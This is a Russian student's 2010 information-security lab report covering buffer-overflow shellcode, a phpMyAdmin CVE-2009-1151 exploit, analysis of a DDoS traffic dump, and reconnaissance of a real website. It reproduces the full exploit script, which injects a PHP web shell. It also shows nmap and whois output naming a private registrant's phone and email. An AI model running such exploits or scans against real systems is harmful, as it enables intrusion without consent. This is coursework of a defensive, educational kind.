Logo GenDocs.ru

Поиск по сайту:  

Загрузка...

Информационная безопасность (МАИ, только отчет) - файл 1.doc


Информационная безопасность (МАИ, только отчет)
скачать (154.5 kb.)

Доступные файлы (1):

1.doc155kb.08.12.2011 23:36скачать

содержание
Загрузка...

1.doc

Реклама MarketGid:
Загрузка...
Московский авиационный институт

(государственный технический университет)

Факультет прикладной математики
Кафедра вычислительной математики и программирования
Лабораторные работы по курсу

«информационная безопасность»

Студент: Д. Борисов

Преподаватель: А. Крижановский
Москва, 2010

Лабораторная работа №1.
Задание: Для уязвимого для атаки типа переполнение буфера сервера echo.c

реализовать удаленный эксплойт (т.e. передающийся по сокету) со следующими

вариантами функциональности: В клиентский сокет написать "Hasta La Vista" и корректно завершить процесс.
^ Hardware and software: Intel core 2 duo su7300, intel gma4500mhd, 3 ГБ ОП, Windows 7 basic 64 bit, WMware Workstation 7.1.0 build-261024, Ubuntu, компилятор gcc
Ход выполнения: В рамках данной лабораторной работы было принято решение реализовать мой вариант путем внесения изменений в файл exploit.c, echo.c остался без изменений. Изменения в файле exploit.c заключались в изменении ассемблерной функции shellcode, которая выполняется после удачного внедрения эксплойта. Ниже приводится соответствующий отрывок кода, в котором в начале внутри комментария приводится эквивалент того, что делает данный код, на языке c, и после этого непосредственно сам ассемблерный код. Как можно видеть, этот код сначала ищет открытый сокет, и после этого записывает туда строку «hi!».
Код:
/*

int sd=0;

struct sockaddr saddr;

int saddr_len;
for (;sd<100;++sd)

{

if (getpeername(sd,&saddr,&saddr_len)==0) break;

}
if (sd!=100)

{

write(sd, "hi!", 4);

}

*/

".p2align 4, 0x90\n"

".local shellcode\n"

".type shellcode,@function\n"

"shellcode:\n"

" push %rbp\n"

" mov %rsp, %rbp\n"

" sub $0x30, %rsp\n"

" movb $0, -0x24(%rbp)\n"

"111: mov -0x24(%rbp), %rdi\n"

" lea -0x20(%rbp), %rsi\n"

" lea -0x28(%rbp), %rdx\n"

" xorq %rax, %rax\n"

" movb $52, %al \n"

" syscall\n"

" test %eax, %eax\n"

" je 112\n"

" addl $0x1, -0x24(%rbp)\n"

" cmpl $0x63, -0x24(%rbp)\n"

" jle 111\n"

" jmp 113 \n"

"112: mov -0x24(%rbp),%edi\n"

" pushq $0x0a216948\n"

" mov %rsp, %rsi\n"

" mov $4, %edx\n"

" xorq %rax, %rax\n"

" movb $1, %al\n"

" syscall\n"

"113: leaveq\n"

" nop;nop;nop;nop;nop;nop\n"
Выводы: В рамках данной работы я узнал основы ассемблера, а также научился работать с сокетами в C. Я считаю, что данная лабораторная работа была для меня чрезвычайно полезна и помогла глубже понять принцип работы и устройство компьютера. С точки зрения информационной безопасности, я осознал, что компьютерные программы могут быть куда менее безопасными, чем мне казалось ранее.


^ Лабораторная работа №2.
Задание: Провести анализ защищенности исходного кода программы (C, C++, Assembly,

Perl, Python, Common Lisp, Haskell, Erlang, Shell):

  1. сделать code review для исходного кода программы на наличие уязвимостей или использовать информацию о конкретной уязвимости и публично доступных списков рассылки;

  2. протестировать уязвимость (найти готовый эксплойт или разработать самостоятельно);

  3. разработать или найти готовое исправление уязвимости;

  4. протестировать эксплойт на исправленной программе.


Отчет ЛР должен содержать анализ всех найденных уязвимостей (объяснение

природы и краткое словесное описание сценария атаки), анализ исправления

(аналогично), прокомментированную выдержку кода программы (анализ уязвимости

можно оформить сразу как комментарий) с уязвимостью, код исправления и подробное

описание того что именно и как делает этот код.
Hardware and software: Intel core 2 duo su7300, intel gma4500mhd, 3 ГБ ОП, Windows 7 basic 64 bit, WMware Workstation 7.1.0 build-261024, Ubuntu, phpMyAdmin 2.11.9.3, Apache, mySql
Ход выполнения:
Дырка, датированная 2009 годом, нашлась в проекте phpMyAdmin (1). Суть состоит в том, что там есть файл конфигурации /config/config.inc.php, и, при определенных условиях, злоумышленник может записать туда вредоносный код при помощи генератора настроечных файлов /scripts/setup.php.
Ограничения на phpMyAdmin:

  1. Нужно, чтобы администратор устанавливал проект через мастера, а не вручную.

  2. Необходимо наличие файла «scripts/setup.php», который любят удалять.

  3. Директория «config/» также должна присутствовать, а на файл «config.inc.php» должен быть установлен атрибут записи.

  4. На машине необходим работоспособный curl (с его помощью происходит инжектирование кода).

  5. Уязвимыми версиями phpMyAdmin являются 2.11.x до 2.11.9.5 и 3.x до 3.1.3.


Я скачал полный код эксплойта, разобрался с тем, как он устроен, почитал про curl, распарсил переменные postdata и postdata2, скачал phpMyAdmin 2.11.9.3, нашел там уязвимое место, потом скачал заплатку по ссылке (2). Заплатка заключается в замене всех недокументированных букв в передаваемых ключах на безвредный символ «_».

После этого, я установил уязвимую версию phpMyAdmin на свою Ubuntu.
Ссылки:

  1. http://www.magxak.ru/xa127/044/1.htm

  2. http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?revision=12301&view=revision


Полный код эксплойта:
#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln, 
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)

# more info on:
http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

if [[ $# -ne 1 ]]
then
    echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
    echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
    exit
fi

if ! which curl >/dev/null
then
    echo "sorry but you need curl for this script to work!"
           echo "on Debian/Ubuntu: sudo apt-get install curl"
           exit
fi


function exploit {

postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

    flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"
    
    echo "[+] attempting to inject phpinfo() ..."
    curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null

    if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
    then
        curl -ks --url "$3/config/config.inc.php" >$flag    
        echo "[+] success! phpinfo() injected successfully! output saved on $flag"
        curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
        echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
        echo "    $3/config/config.inc.php?c=ls+-l+/"
        echo "    $3/config/config.inc.php?p=phpinfo();"
        echo "    please send any feedback/improvements for this script to"\
        "unknown.pentester<AT_sign__here>gmail.com"
    else
        echo "[+] no luck injecting to $3/config/config.inc.php :("
        exit
    fi
}
# end of exploit function

cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..."

#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &>/dev/null
then
    length=`echo -n $token | wc -c`

    # valid form token obtained?
    if [[ $length -eq 32 ]]
    then
        echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
        # attempt exploit!
        exploit $token $cookiejar $1
    else
        echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
        exit
    fi
else
    echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
    exit
fi
^ Распарсенный вариант эксплойта:
postdata="token=$1&action=save&configuration="\

"a:1:{s:7:"Servers";a:1:{i:0;a:6:{s:23:"host']="\

"''; phpinfo();//";s:9:"localhost";s:9:"\

""extension";s:6:"mysqli";s:12:"connect_type";s:3:"\

""tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"\

""config";s:4:"user";s:4:"root";}}}&eoltype=unix"
postdata2="token=$1&action=save&configuration=a:1:"\

"{s:7:"Servers";a:1:{i:0;a:6:{s:136:"host']="\

"''; if(\$_GET['c']){echo '<pre>';"\

"system(\$_GET['c']);echo '</pre>';}"\

"if(\$_GET['p']){echo '<pre>';eval"\

"(\$_GET['p']);echo '</pre>';};//"\

"";s:9:"localhost";s:9:"extension";s:6:""\

"mysqli";s:12:"connect_type";s:3:"tcp";s:8:"\

""compress";b:0;s:9:"auth_type";s:6:"config"\

"";s:4:"user";s:4:"root";}}}&eoltype=unix"
В postdata содержится первая часть эксплойта, которая пишет phpinfo();//, а в postdata2 вторая, которая дописывает код выполнения того, что содержится в переменных c и p.
Выводы: В рамках данной работы я приобрел навыки работы с большим проектом phpMyAdmin и воочию увидел то, что и в таких больших проектах временами не отлавливаются даже очень простые ошибки.
^ Лабораторная работа №3.
Задание: В дампе трафика сетевого снифера tcpdump (tcpdump.log.tbz) содержатся

данные DDoS атаки на HTTP-сервер. Необходимо:

  1. определить IP адреса и/или FQDN HTTP-серверов (в отчете описать метод, которым это было сделано);

  2. провести анализ и построить соответствующие 2D графики для дампа. На оси ординат в соответствии с вариантов откладывается метрика М для сетевого клиента, на оси абсцисс - число клиентов N, обладающих одинаковым значением M.

Выполнять работу можно с использованием любых удобных языков

программирования и графопостроителей (например Perl/PDL или Gnuplot).
Вариант, который я сделал: число отправленных SYN-пакетов.
Hardware and software: Intel core 2 duo su7300, intel gma4500mhd, 3 ГБ ОП, Windows 7 basic 64 bit, WMware Workstation 7.1.0 build-261024, Ubuntu, Python, PyX 0.10
Ход выполнения:
В первую очередь я распарсил tcpdump.log при помощи команды tcpdump -nn -vvv -s0 -X -r tcpdump.log|less. После этого, я открыл получившийся файл и начал искать в нем слово GET для того, чтобы по содержимому отправляемых пакетов узнать, на кого производилась атака. В результате выяснилось, что атаковали сайт http://free-torrents.org. Потом я решил собрать все ip-адреса, с которых посылались SYN-запросы, и посчитать количество SYN-ов с каждого из них. Я сделал это при помощи программы p2, которая выглядит следующим образом:
#!/usr/bin/python

# -*- coding: utf8 -*
import re

from pyx import *
f1 = open("log", "r")

text3=f1.read()
result = re.findall( ur"([\d]+\.[\d]+\.[\d]+)[\d\.]+ > [\d\.]+: Flags \[[^\]]*S[^\]]*\].*\n", text3 )
d={}

for line in result:

if (d.has_key(line)==False):

d[line]=0

d[line]+=1
x=0.0
for key, value in sorted(d.items(), key=lambda e: e[1]):

print "%s %f %d"%(key,x,value)

x+=0.1
Как можно видеть, свои результаты программа выводила на вывод, который я перенаправил в файл. Переменная x записывалась для того, чтобы впоследствии было проще построить по полученным данным графики.
Графопостроителем являлась программа p3:
#!/usr/bin/python

# -*- coding: utf8 -*
from pyx import *
g = graph.graphxy(width=20)

g.plot(graph.data.file("result", x=2, y=3))

g.writePDFfile("minimal")
В результате, я получил следующий график:


Гладя на имеющийся график, видно, что количество ip-адресов, приславших заметно больше SYN-пакетов, чем большинство, равно примерно 1/10 от их общего количества.
Выводы: В рамках данной работы я получил базовые навыки работы с tcpdump, научился строить графики в python, но, впрочем, целью работы было не ознакомление с разными технологиями, а изучение особенностей реальной атаки на сервер. В этом отношении было сделано немного чего, но, тем не менее, даже то, что получилось, вышло весьма интересным. Раньше я думал, что во время атаки все боты атакуют примерно в одинаковых пропорциях, но график показал, что это далеко не всегда так.
^ Лабораторная работа №4.
Задание: Провести анализ защищенности любого известного Интернет-ресурса

или локального сервера (Apache, MySQL, Sendmail и пр.).
Hardware and software: Intel core 2 duo su7300, intel gma4500mhd, 3 ГБ ОП, Windows 7 basic 64 bit, WMware Workstation 7.1.0 build-261024, Ubuntu и встроенные Unix-утилиты, Nessus
^ Ход выполнения:
В качестве исследуемого сайта выступил http://www.world-art.ru/. Сначала я узнал о подсетях при помощи сайта http://fixedorbit.com/search.htm. В результате, я узнал, что world-art.ru хостится на провайдере agava3 и имеет ip-адрес 89.108.108.43. dig –x 89.108.108.43 позволило узнать второй FQDN сайта, которым оказался niisan.world-art.ru. потом я решил исследовать world-art при помощи nmap.
ddd@ddd-virtual-machine:~$ nmap world-art.ru
Starting Nmap 5.21 ( http://nmap.org ) at 2010-12-15 11:50 MSK

Nmap scan report for world-art.ru (89.108.108.43)

Host is up (0.0081s latency).

rDNS record for 89.108.108.43: niisan.world-art.ru

Not shown: 989 filtered ports

^ PORT STATE SERVICE

25/tcp open smtp

80/tcp open http

110/tcp open pop3

119/tcp open nntp

143/tcp open imap

443/tcp open https

465/tcp open smtps

563/tcp open snews

587/tcp open submission

993/tcp open imaps

995/tcp open pop3s
Nmap done: 1 IP address (1 host up) scanned in 5.00 seconds
Отсюда я узнал. По каким портам и что располагается. Более детальное исследование при помощи nmap провести не удалось, потому что nmap вызывал неполадки в системе. После этого, я попробовал исследовать world-art при помощи tracepath, но какие-то из настроек моей системы не позволили утилите выйти за пределы моего локального компьютера:
ddd@ddd-virtual-machine:~$ tracepath -n world-art.ru

1: 192.168.17.129 0.182ms pmtu 1500

1: 192.168.17.2 0.113ms

1: 192.168.17.2 0.104ms

2: no reply



10: no reply

^C
ddd@ddd-virtual-machine:~$ whois world-art.ru

% By submitting a query to RIPN's Whois Service

% you agree to abide by the following terms of use:

% http://www.ripn.net/about/servpol.html#3.2 (in Russian)

% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
domain: WORLD-ART.RU

nserver: ns1.agava.net.ru.

nserver: ns2.agava.net.ru.

state: REGISTERED, DELEGATED, UNVERIFIED

person: Alexey V Fadeev

phone: +7 495 3544519

fax-no: +7 495 3544519

e-mail: ashesrus@mail.ru

registrar: RUCENTER-REG-RIPN

created: 2003.09.27

paid-till: 2011.09.27

source: TCI
Last updated on 2010.12.15 12:08:42 MSK/MSD
Потом, я попробовал узнать, где располагаются сервера world-art при помощи гео ip сервиса http://www.ip-ping.ru/. В результате, я узнал, что сайт располагается в AGAVA-DATACENTER-NET3 по адресу B. Novodmitrovskaya str., 36/4, а также индекс, телефон и прочую полезную информацию.
Выводы: В рамках данной работы я научился работать с большим количеством новых для меня утилит linux, а также узнал много нового о том, как может быть устроена работа интернет-сервисов. Кроме того, я получил много новой информации о том, как исследуют и ломают сервисы, а также о том, как от этого защищаются.


Скачать файл (154.5 kb.)

Поиск по сайту:  

© gendocs.ru
При копировании укажите ссылку.
обратиться к администрации